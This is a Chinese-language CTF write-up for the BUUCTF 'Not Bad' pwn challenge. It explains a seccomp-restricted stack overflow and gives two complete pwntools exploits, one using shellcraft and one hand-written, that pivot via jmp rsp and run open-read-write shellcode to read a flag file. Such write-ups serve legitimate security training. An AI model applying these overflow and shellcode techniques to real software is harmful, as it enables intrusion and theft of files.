BUUCTF [极客大挑战 2019]Not Bad

总的来说这是一个64位orw的题

 

开头先在主函数里分配了一个很大的空间

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  mmap((void *)0x123000, 0x1000uLL, 6, 34, -1, 0LL);
  sub_400949();
  sub_400906();
  sub_400A16();
  return 0LL;
}

__int64 sub_400949()
{
  __int64 v1; // [rsp+8h] [rbp-8h]

  v1 = seccomp_init(0LL);
  seccomp_rule_add(v1, 2147418112LL, 0LL, 0LL);
  seccomp_rule_add(v1, 2147418112LL, 1LL, 0LL);
  seccomp_rule_add(v1, 2147418112LL, 2LL, 0LL);
  seccomp_rule_add(v1, 2147418112LL, 60LL, 0LL);
  return seccomp_load(v1);
}

这里开了沙盒看一下只给了open，read，write，exit很明显是一个orw的题

漏洞函数：

int sub_400A16()
{
  char buf[32]; // [rsp+0h] [rbp-20h] BYREF

  puts("Easy shellcode, have fun!");
  read(0, buf, 0x38uLL);
  return puts("Baddd! Focu5 me! Baddd! Baddd!");
}

 溢出字节较少可以考虑用栈迁移，但是看了其他师傅的wp后发现了一种新的解题方法，即利用 jmp rsp这条指令。我们把这条指令的地址放到返回地址上，接下来就可以利用汇编来控制 rsp的位置了。

大多数师傅都是用 shellcraft 来自动化构造的，但是我认为有手搓 shellcode 的能力也很重要。

附上用 shellcraft 构造的exp：

from pwn import *
context.arch='amd64'
context.log_level='debug'

s=remote('node4.buuoj.cn',26979)
#s=process('./bad')

mmap=0x123000
jmp_rsp=0x400a01

orw_payload = shellcraft.open("./flag")
orw_payload += shellcraft.read(3, mmap+0x100, 0x50)
orw_payload += shellcraft.write(1, mmap+0x100,0x50)

payload=asm(shellcraft.read(0,mmap,0x100))+asm('mov rax,0x123000;call rax')
payload=payload.ljust(0x28,b'\x00')
payload+=p64(jmp_rsp)+asm('sub rsp,0x30;jmp rsp')
s.sendline(payload)

s.send(asm(orw_payload))

s.interactive()

手搓 shellcode 的exp：

from pwn import *
context.arch='amd64'
context.log_level='debug'

s=remote('node4.buuoj.cn',26979)
#s=process('./bad')

jmp_rsp=0x400a01
shellcode1='''
    xor rdi, rdi
    mov rsi, 0x123000
    mov rdx, 0x100
    mov rax, 0
    syscall
    mov rax, 0x123000
    call rax
'''

shellcode2='''
    mov rdi, 0x67616c662f2e  //这个是.\flag由于小端序存储的倒着写的 gafl\.的16进制表示。
    push rdi
    mov rdi, rsp
    mov rsi, 0
    mov rdx, 0
    mov rax, 2
    syscall
    mov rdi, 3
    mov rsi, rsp
    mov rdx, 0x100
    mov rax, 0
    syscall
    mov rdi, 1
    mov rsi, rsp
    mov edx, 0x100
    mov rax, 1
    syscall
'''
payload=asm(shellcode1)
payload=payload.ljust(0x28,b'\x00')
payload+=p64(jmp_rsp)+asm('sub rsp,0x30;jmp rsp')
s.sendline(payload)

s.send(asm(shellcode2))

s.interactive()